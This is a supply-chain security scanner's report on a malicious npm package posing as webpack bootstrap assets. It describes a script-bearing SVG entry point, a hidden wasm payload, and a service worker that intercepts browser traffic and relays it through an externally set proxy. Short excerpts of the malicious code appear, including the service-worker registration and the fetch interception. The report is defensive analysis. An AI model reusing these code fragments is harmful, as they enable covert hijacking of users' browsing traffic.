Loading npm security reports…

webpackbootstrapscripts@5.110.3: Malicious npm security report | LPM Firewall

registry / webpackbootstrapscripts / 5.110.3

webpackbootstrapscripts@5.110.3

bootstrap assets for Webpacks runtime.

AI Security Review

scanned 25d ago · by lpm-firewall-ai

The package’s declared SVG entry runs scripts that register and activate a service worker over its base path. It accepts navigation and proxy WebSocket settings, then routes matching browser requests through the bundled controller.

Static reason

No blocking static signals were detected.

Trigger

A browser opens or embeds the declared SVG entry in a script-capable context.

Impact

Can persistently control matching page requests within its scope and relay browsing traffic through an address supplied by page messages or query parameters.

Mechanism

Service-worker-backed browser traffic interception and WebSocket proxying.

Attack narrative

Installing alone has no lifecycle execution, but the package declares a script-bearing SVG as its entry point. When opened in a script-capable browser context, it registers a service worker scoped to the base path, claims clients, accepts navigation and WebSocket proxy commands, and intercepts matching fetches through a bundled controller. This is concealed browser proxy and persistence behavior inconsistent with a bootstrap-assets npm package.

AI rationale

The package embeds an active service-worker proxy application in an SVG declared as its npm entry point. Its automatic scope-wide request interception and externally configured traffic relay are concrete malicious behavior.

Evidence

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgindex-n6q3m5.js.assets/index-c7m2q5.js.assets/index-r4n8x3.js.assets/index-k9v3f1.js.assets/function-4827316.wasm

OSV advisory

Source & flagged code

10 flagged

.assets/function-4827316.wasmView file

•path = .assets/function-4827316.wasm kind = payload_in_excluded_dir sizeBytes = 583678 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.assets/function-4827316.wasmView on unpkg

•path = .assets/function-4827316.wasm kind = wasm_module sizeBytes = 583678 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

.assets/function-4827316.wasmView on unpkg

publish.batView file

•path = publish.bat kind = build_helper sizeBytes = 29 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish.batView on unpkg

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg

5<script>//<![CDATA[ (function(){ var XHTML_NS="http://www.w3.org/1999/xhtml"; var root=document.querySelector("foreignObject").firstElementChild; var origCreateNS=document.createElementNS.bind(document); Object.defineProperty(document,"head",{get:function(){return root.querySelector("head")},configurable:true}); Object.defineProperty(document,"body",{get:function(){return root.querySelector("body")},configurable:true}); Object.defineProperty(document,"documentElement",{get:function(){return root},configurable:true}); document.createElement=function(tag,opts){r

High

Ai Review Evidence

The declared npm entry point is an SVG that contains active browser scripts.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg · L5

216(async function preInit(){ try{ if(!navigator.serviceWorker)return; await navigator.serviceWorker.register(SW_ORIGIN+BASE_PATH+'index-n6q3m5.js',{scope:BASE_PATH,updateViaCache:'none'}); if(!navigator.serviceWorker.controller){ await new Promise(function(res){navigator.serviceWorker.addEventListener('controllerchange',res,{once:true});}); } _swReady=true; if(currentW)await _doInitController(); toParent('ready');

package.jsonView file

3"name": "webpackbootstrapscripts", "version": "5.110.3", "description": "bootstrap assets for Webpacks runtime.", "main": "logo-[redacted].svg", "scripts": {

High

Ai Review Evidence

The declared npm entry point is an SVG that contains active browser scripts.

package.jsonView on unpkg · L3

index-n6q3m5.jsView file

3self.addEventListener("install", () => self.skipWaiting()); self.addEventListener("activate", (e) => e.waitUntil(clients.claim())); addEventListener("fetch", (e) => { if (dGFzazR6MTMzNw.shouldRoute(e)) { e.respondWith(dGFzazR6MTMzNw.route(e)); } });

High

Ai Review Evidence

The service worker intercepts matching fetches and forwards them through a controller transport.

index-n6q3m5.jsView on unpkg · L3

Source & flagged code

10 flagged · loading source

.assets/function-4827316.wasmView file

•path = .assets/function-4827316.wasm kind = payload_in_excluded_dir sizeBytes = 583678 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.assets/function-4827316.wasmView on unpkg

•path = .assets/function-4827316.wasm kind = wasm_module sizeBytes = 583678 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

.assets/function-4827316.wasmView on unpkg

publish.batView file

•path = publish.bat kind = build_helper sizeBytes = 29 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish.batView on unpkg

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg

High

Ai Review Evidence

The declared npm entry point is an SVG that contains active browser scripts.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg · L5

package.jsonView file

3"name": "webpackbootstrapscripts", "version": "5.110.3", "description": "bootstrap assets for Webpacks runtime.", "main": "logo-[redacted].svg", "scripts": {

High

Ai Review Evidence

The declared npm entry point is an SVG that contains active browser scripts.

package.jsonView on unpkg · L3

index-n6q3m5.jsView file

High

Ai Review Evidence

The service worker intercepts matching fetches and forwards them through a controller transport.

index-n6q3m5.jsView on unpkg · L3

Source & flagged code

10 flagged

.assets/function-4827316.wasmView file

•path = .assets/function-4827316.wasm kind = payload_in_excluded_dir sizeBytes = 583678 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.assets/function-4827316.wasmView on unpkg

•path = .assets/function-4827316.wasm kind = wasm_module sizeBytes = 583678 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

.assets/function-4827316.wasmView on unpkg

publish.batView file

•path = publish.bat kind = build_helper sizeBytes = 29 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish.batView on unpkg

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg

High

Ai Review Evidence

The declared npm entry point is an SVG that contains active browser scripts.

logo-b2b3e4d75f89f6104a35c1c7a5972ddd1be2cf72.svgView on unpkg · L5

package.jsonView file

3"name": "webpackbootstrapscripts", "version": "5.110.3", "description": "bootstrap assets for Webpacks runtime.", "main": "logo-[redacted].svg", "scripts": {

High

Ai Review Evidence

The declared npm entry point is an SVG that contains active browser scripts.

package.jsonView on unpkg · L3

index-n6q3m5.jsView file

High

Ai Review Evidence

The service worker intercepts matching fetches and forwards them through a controller transport.

index-n6q3m5.jsView on unpkg · L3

webpackbootstrapscripts@5.110.3

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code